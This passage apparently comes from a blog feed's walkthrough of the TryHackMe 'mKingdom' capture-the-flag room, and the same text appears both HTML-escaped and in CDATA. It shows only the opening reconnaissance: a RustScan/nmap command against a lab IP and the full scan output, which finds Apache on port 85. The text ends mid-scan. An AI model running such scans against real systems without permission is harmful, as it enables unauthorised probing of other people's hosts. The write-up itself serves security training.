&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;85/tcp open  http    syn-ack ttl &lt;span style=&#34;color:#ae81ff&#34;&gt;63&lt;/span&gt; Apache httpd 2.4.7 &lt;span style=&#34;color:#f92672&#34;&gt;((&lt;/span&gt;Ubuntu&lt;span style=&#34;color:#f92672&#34;&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|_http-title: 0H N0! PWN3D 4G4IN
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|_http-server-header: Apache/2.4.7 &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;Ubuntu&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;| http-methods:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|_  Supported Methods: OPTIONS GET HEAD POST
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Warning: OSScan results may be unreliable because we could not find at least &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt; open and &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt; closed port
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Aggressive OS guesses: Linux 5.4 &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;96%&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;, Linux 3.10 - 3.13 &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;96%&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;, ASUS RT-N56U WAP &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;Linux 3.4&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;95%&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;, Linux 3.16 &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;95%&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;, Linux 3.1 &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;93%&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;, Linux 3.2 &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;93%&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;, AXIS 210A or &lt;span style=&#34;color:#ae81ff&#34;&gt;211&lt;/span&gt; Network Camera &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;Linux 2.6.17&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;93%&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;, Sony Android TV &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;Android 5.0&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;93%&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;, Android 5.0 - 6.0.1 &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;Linux 3.4&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;93%&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;, Android 5.1 &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;93%&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;No exact OS matches &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; host &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;test conditions non-ideal&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;TCP/IP fingerprint:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;SCAN&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;V&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;7.94SVN%E&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;4%D&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;6/15%OT&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;85%CT&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;%CU&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;41512%PV&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;Y%DS&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;2%DC&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;T%G&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;N%TM&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;666CE230%P&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;x86_64-pc-linux-gnu&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;SEQ&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;SP&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;101%GCD&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;1%ISR&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;10E%TI&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;Z%CI&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;I%II&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;I%TS&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;8&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;OPS&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;O1&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;M508ST11NW7%O2&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;M508ST11NW7%O3&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;M508NNT11NW7%O4&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;M508ST11NW7%O5&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;M508ST11NW7%O6&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;M508ST11&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;WIN&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;W1&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;68DF%W2&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;68DF%W3&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;68DF%W4&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;68DF%W5&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;68DF%W6&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;68DF&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ECN&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;R&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;Y%DF&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;Y%T&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;40%W&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;6903%O&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;M508NNSNW7%CC&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;Y%Q&lt;span style=&#34;color:#f92672&#34;&gt;=)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;T1&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;R&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;Y%DF&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;Y%T&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;40%S&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;O%A&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;S+%F&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;AS%RD&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;0%Q&lt;span style=&#34;color:#f92672&#34;&gt;=)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;T2&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;R&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;N&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;T3&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;R&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;N&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;T4&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;R&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;Y%DF&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;Y%T&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;40%W&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;0%S&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;A%A&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;Z%F&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;R%O&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;%RD&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;0%Q&lt;span style=&#34;color:#f92672&#34;&gt;=)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;T5&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;R&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;Y%DF&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;Y%T&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;40%W&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;0%S&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;Z%A&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;S+%F&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;AR%O&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;%RD&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;0%Q&lt;span style=&#34;color:#f92672&#34;&gt;=)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;T6&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;R&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;Y%DF&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;Y%T&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;40%W&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;0%S&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;A%A&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;Z%F&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;R%O&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;%RD&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;0%Q&lt;span style=&#34;color:#f92672&#34;&gt;=)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;T7&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;R&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;Y%DF&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;Y%T&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;40%W&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;0%S&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;Z%A&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;S+%F&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;AR%O&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;%RD&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;0%Q&lt;span style=&#34;color:#f92672&#34;&gt;=)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;U1&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;R&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;Y%DF&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;N%T&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;40%IPL&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;164%UN&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;0%RIPL&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;G%RID&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;G%RIPCK&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;G%RUCK&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;G%RUD&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;G&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;IE&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;R&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;Y%DFI&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;N%T&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;40%CD&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;S&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Uptime guess: 202.073 days &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;since Sun Nov &lt;span style=&#34;color:#ae81ff&#34;&gt;26&lt;/span&gt; 06:52:26 2023&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Network Distance: &lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt; hops
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;TCP Sequence Prediction: Difficulty&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;257&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;Good luck!&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;IP ID Sequence Generation: All zeros
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;TRACEROUTE &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;using port 443/tcp&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;HOP RTT       ADDRESS
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;   379.02 ms 10.11.0.1
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;   379.14 ms 10.10.4.31
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Read data files from: /usr/bin/are/nmap
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Nmap &lt;span style=&#34;color:#66d9ef&#34;&gt;done&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt; IP address &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt; host up&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt; scanned in 30.15 seconds
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;           Raw packets sent: &lt;span style=&#34;color:#ae81ff&#34;&gt;59&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;4.192KB&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt; | Rcvd: &lt;span style=&#34;color:#ae81ff&#34;&gt;41&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;3.068KB&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;You can see in the &lt;code&gt;nmap&lt;/code&gt; output that the title is &amp;ldquo;OH NO! PWN3D 4G4IN&amp;rdquo; which we can confirm when we navigate to the page.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>This walkthrough is related to the easy level box from Try Hack Me called <a href="https://tryhackme.com/room/mkingdom">mKingdom</a>.  Let&rsquo;s get started</p>
<p><img src="/assets/mKingdom_cover.png" alt=""></p>
<p>We deploy the machine and once it is launched we run RustScan to see what ports are open (some content has been removed for brevity) and find that there is only Port 85 is open.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ rustscan -a 10.10.4.31 -- -A -oA nmap-scan
</span></span><span style="display:flex;"><span>.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
</span></span><span style="display:flex;"><span>| <span style="color:#f92672">{}</span>  <span style="color:#f92672">}</span>| <span style="color:#f92672">{</span> <span style="color:#f92672">}</span> |<span style="color:#f92672">{</span> <span style="color:#f92672">{</span>__ <span style="color:#f92672">{</span>_   _<span style="color:#f92672">}{</span> <span style="color:#f92672">{</span>__  /  ___<span style="color:#f92672">}</span> / <span style="color:#f92672">{}</span> <span style="color:#ae81ff">\ </span>|  <span style="color:#e6db74">`</span>| |
</span></span><span style="display:flex;"><span>| .-. <span style="color:#ae81ff">\|</span> <span style="color:#f92672">{</span>_<span style="color:#f92672">}</span> |.-._<span style="color:#f92672">}</span> <span style="color:#f92672">}</span> | |  .-._<span style="color:#f92672">}</span> <span style="color:#f92672">}</span><span style="color:#ae81ff">\ </span>    <span style="color:#f92672">}</span>/  /<span style="color:#ae81ff">\ </span> <span style="color:#ae81ff">\|</span> |<span style="color:#ae81ff">\ </span> |
</span></span><span style="display:flex;"><span><span style="color:#e6db74">`</span>-<span style="color:#e6db74">&#39; `-&#39;</span><span style="color:#e6db74">`</span>-----<span style="color:#e6db74">&#39;`----&#39;</span>  <span style="color:#e6db74">`</span>-<span style="color:#e6db74">&#39;  `----&#39;</span>  <span style="color:#e6db74">`</span>---<span style="color:#e6db74">&#39; `-&#39;</span>  <span style="color:#e6db74">`</span>-<span style="color:#e6db74">&#39;`-&#39;</span> <span style="color:#e6db74">`</span>-<span style="color:#e6db74">&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">The Modern Day Port Scanner.
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">________________________________________
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">: http://discord.skerritt.blog         :
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">: https://github.com/RustScan/RustScan :
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> --------------------------------------
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">Scanning ports: The virtual equivalent of knocking on doors.
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">[~] The config file is expected to be at &#34;/home/n3ph0s/.rustscan.toml&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">[!] Your file limit is very small, which negatively impacts RustScan&#39;</span>s speed. Use the Docker image, or up the Ulimit with <span style="color:#e6db74">&#39;--ulimit 5000&#39;</span>.
</span></span><span style="display:flex;"><span>Open 10.10.4.31:85
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>~<span style="color:#f92672">]</span> Starting Script<span style="color:#f92672">(</span>s<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>&gt;<span style="color:#f92672">]</span> Running script <span style="color:#e6db74">&#34;nmap -vvv -p {{port}} {{ip}} -A -oA nmap-scan&#34;</span> on ip 10.10.4.31
</span></span><span style="display:flex;"><span>Depending on the complexity of the script, results may take some time to appear.
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>~<span style="color:#f92672">]</span> Starting Nmap 7.94SVN <span style="color:#f92672">(</span> https://nmap.org <span style="color:#f92672">)</span> at 2024-06-15 08:36 PST
</span></span><span style="display:flex;"><span>Scanned at 2024-06-15 08:36:34 PST <span style="color:#66d9ef">for</span> 30s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>PORT   STATE SERVICE REASON         VERSION
</span></span><span style="display:flex;"><span>85/tcp open  http    syn-ack ttl <span style="color:#ae81ff">63</span> Apache httpd 2.4.7 <span style="color:#f92672">((</span>Ubuntu<span style="color:#f92672">))</span>
</span></span><span style="display:flex;"><span>|_http-title: 0H N0! PWN3D 4G4IN
</span></span><span style="display:flex;"><span>|_http-server-header: Apache/2.4.7 <span style="color:#f92672">(</span>Ubuntu<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>| http-methods:
</span></span><span style="display:flex;"><span>|_  Supported Methods: OPTIONS GET HEAD POST
</span></span><span style="display:flex;"><span>Warning: OSScan results may be unreliable because we could not find at least <span style="color:#ae81ff">1</span> open and <span style="color:#ae81ff">1</span> closed port
</span></span><span style="display:flex;"><span>OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
</span></span><span style="display:flex;"><span>Aggressive OS guesses: Linux 5.4 <span style="color:#f92672">(</span>96%<span style="color:#f92672">)</span>, Linux 3.10 - 3.13 <span style="color:#f92672">(</span>96%<span style="color:#f92672">)</span>, ASUS RT-N56U WAP <span style="color:#f92672">(</span>Linux 3.4<span style="color:#f92672">)</span> <span style="color:#f92672">(</span>95%<span style="color:#f92672">)</span>, Linux 3.16 <span style="color:#f92672">(</span>95%<span style="color:#f92672">)</span>, Linux 3.1 <span style="color:#f92672">(</span>93%<span style="color:#f92672">)</span>, Linux 3.2 <span style="color:#f92672">(</span>93%<span style="color:#f92672">)</span>, AXIS 210A or <span style="color:#ae81ff">211</span> Network Camera <span style="color:#f92672">(</span>Linux 2.6.17<span style="color:#f92672">)</span> <span style="color:#f92672">(</span>93%<span style="color:#f92672">)</span>, Sony Android TV <span style="color:#f92672">(</span>Android 5.0<span style="color:#f92672">)</span> <span style="color:#f92672">(</span>93%<span style="color:#f92672">)</span>, Android 5.0 - 6.0.1 <span style="color:#f92672">(</span>Linux 3.4<span style="color:#f92672">)</span> <span style="color:#f92672">(</span>93%<span style="color:#f92672">)</span>, Android 5.1 <span style="color:#f92672">(</span>93%<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>No exact OS matches <span style="color:#66d9ef">for</span> host <span style="color:#f92672">(</span>test conditions non-ideal<span style="color:#f92672">)</span>.
</span></span><span style="display:flex;"><span>TCP/IP fingerprint:
</span></span><span style="display:flex;"><span>SCAN<span style="color:#f92672">(</span>V<span style="color:#f92672">=</span>7.94SVN%E<span style="color:#f92672">=</span>4%D<span style="color:#f92672">=</span>6/15%OT<span style="color:#f92672">=</span>85%CT<span style="color:#f92672">=</span>%CU<span style="color:#f92672">=</span>41512%PV<span style="color:#f92672">=</span>Y%DS<span style="color:#f92672">=</span>2%DC<span style="color:#f92672">=</span>T%G<span style="color:#f92672">=</span>N%TM<span style="color:#f92672">=</span>666CE230%P<span style="color:#f92672">=</span>x86_64-pc-linux-gnu<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>SEQ<span style="color:#f92672">(</span>SP<span style="color:#f92672">=</span>101%GCD<span style="color:#f92672">=</span>1%ISR<span style="color:#f92672">=</span>10E%TI<span style="color:#f92672">=</span>Z%CI<span style="color:#f92672">=</span>I%II<span style="color:#f92672">=</span>I%TS<span style="color:#f92672">=</span>8<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>OPS<span style="color:#f92672">(</span>O1<span style="color:#f92672">=</span>M508ST11NW7%O2<span style="color:#f92672">=</span>M508ST11NW7%O3<span style="color:#f92672">=</span>M508NNT11NW7%O4<span style="color:#f92672">=</span>M508ST11NW7%O5<span style="color:#f92672">=</span>M508ST11NW7%O6<span style="color:#f92672">=</span>M508ST11<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>WIN<span style="color:#f92672">(</span>W1<span style="color:#f92672">=</span>68DF%W2<span style="color:#f92672">=</span>68DF%W3<span style="color:#f92672">=</span>68DF%W4<span style="color:#f92672">=</span>68DF%W5<span style="color:#f92672">=</span>68DF%W6<span style="color:#f92672">=</span>68DF<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>ECN<span style="color:#f92672">(</span>R<span style="color:#f92672">=</span>Y%DF<span style="color:#f92672">=</span>Y%T<span style="color:#f92672">=</span>40%W<span style="color:#f92672">=</span>6903%O<span style="color:#f92672">=</span>M508NNSNW7%CC<span style="color:#f92672">=</span>Y%Q<span style="color:#f92672">=)</span>
</span></span><span style="display:flex;"><span>T1<span style="color:#f92672">(</span>R<span style="color:#f92672">=</span>Y%DF<span style="color:#f92672">=</span>Y%T<span style="color:#f92672">=</span>40%S<span style="color:#f92672">=</span>O%A<span style="color:#f92672">=</span>S+%F<span style="color:#f92672">=</span>AS%RD<span style="color:#f92672">=</span>0%Q<span style="color:#f92672">=)</span>
</span></span><span style="display:flex;"><span>T2<span style="color:#f92672">(</span>R<span style="color:#f92672">=</span>N<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>T3<span style="color:#f92672">(</span>R<span style="color:#f92672">=</span>N<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>T4<span style="color:#f92672">(</span>R<span style="color:#f92672">=</span>Y%DF<span style="color:#f92672">=</span>Y%T<span style="color:#f92672">=</span>40%W<span style="color:#f92672">=</span>0%S<span style="color:#f92672">=</span>A%A<span style="color:#f92672">=</span>Z%F<span style="color:#f92672">=</span>R%O<span style="color:#f92672">=</span>%RD<span style="color:#f92672">=</span>0%Q<span style="color:#f92672">=)</span>
